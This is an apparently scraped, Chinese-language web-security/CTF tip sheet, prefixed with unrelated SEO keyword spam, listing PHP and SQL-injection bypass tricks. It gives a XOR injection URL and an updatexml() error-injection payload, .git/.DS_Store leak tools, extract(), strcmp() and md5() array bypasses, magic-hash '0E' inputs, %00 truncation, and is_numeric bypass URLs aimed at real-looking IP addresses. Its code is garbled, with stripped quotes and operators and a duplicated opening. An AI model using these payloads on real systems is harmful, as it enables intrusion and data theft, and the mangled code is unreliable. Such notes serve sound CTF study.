网站设计客户对接流程,多功能创意产品设计,多少钱?,移动互联网应用软件开发异或注入#xff1a;两个条件相同#xff08;同真或同假#xff09;即为假。 http://120.24.86.145:9004/1ndex.php?id1^(length(union)!0)--
如上#xff0c;如果union被过滤#xff0c;则 length(union)!0 为假#xff0c;那么返回页面正常。
2|0updatexml() 函数报…异或注入两个条件相同同真或同假即为假。 http://120.24.86.145:9004/1ndex.php?id1^(length(union)!0)--
如上如果union被过滤则 length(union)!0 为假那么返回页面正常。
2|0updatexml() 函数报错注入
UPDATEXML (XML_document, XPath_string, new_value); 第一个参数XML_document是String格式为XML文档对象的名称文中为Doc 第二个参数XPath_string (Xpath格式的字符串) 如果不了解Xpath语法可以在网上查找教程。 第三个参数new_valueString格式替换查找到的符合条件的数据 作用改变文档中符合条件的节点的值
注入语句示例 select name from user where id1 and updatexml(1,concat(~,(select database()),~),3);
注入原理这个函数的第二个参数需要Xpath格式的字符串则传入错误的格式会爆出错误在内的语句会以爆出执行后的结果
3|0源文件泄露利用
.DS_Store文件泄露利用工具----ds_store_expgithub地址
.git文件泄露利用工具----GitHackgithub地址
4|0extract变量覆盖
extract()函数从数组中将变量导入当前符号表。
定义
从数组中将变量导入到当前的符号表该函数使用数组键名作为变量名使用数组键值作为变量值。针对数组中的每个元素将在当前符号表中创建对应的一个变量
语法extract(array,extract_rules,prefix)
array,必需要使用的数组 ?php $ahello; $b array(a world ,bgogogo); extract($b); echo $a; //world ?
如上所示会存在一个覆盖漏洞。
5|0strcmp()漏洞 ?php echo strcmp(Hello world!,Hello world!); // 两字符串相等 //0 echo strcmp(Hello world!,Hello); // string1 大于 string2 //7 echo strcmp(Hello world!,Hello world! Hello!); // string1 小于 string2 //-7 ?
如上所示strcmp()用于比较字符串大小但是strcmp()在比较字符串和数组的时候直接返回0可用于绕过。
6|0md5()漏洞 $_GET[name] ! $_GET[password] MD5($_GET[name]) MD5($_GET[password]) MD5($_GET[name]) MD5($_GET[password])
PHP在处理哈希字符串时它把每一个以“0E”开头的哈希值都解释为0所以如果两个不同的密码经过哈希以后其哈希值都是以“0E”开头的那么PHP将会认为他们相同都是0。
以下值在md5加密后以0E开头
QNKCDZO240610708s878926199as155964671as214587387as214587387a
另外MD5()无法处理数组当比较数组时会返回0也能用于绕过name[]apassword[]b
7|0ereg()截断漏洞
ereg()与strpos()两个函数同样不能用数组作为参数否则返回NULL。
另外ereg()存在截断漏洞使用%00可以截断正则匹配。
另外当长度与数值矛盾时可以采用科学计数法表示1e8100000000。
8|0弱类型整数大小比较绕过 $temp $_GET[password]; is_numeric($temp)?die(no numeric):NULL; if($temp1336){ echo $flag;
is_numeric()同样可以用数组绕过、%00截断、添加其他字符 http://123.206.87.240:9009/22.php?password[]1 http://123.206.87.240:9009/22.php?password9999a http://123.206.87.240:9009/22.php?password9999%00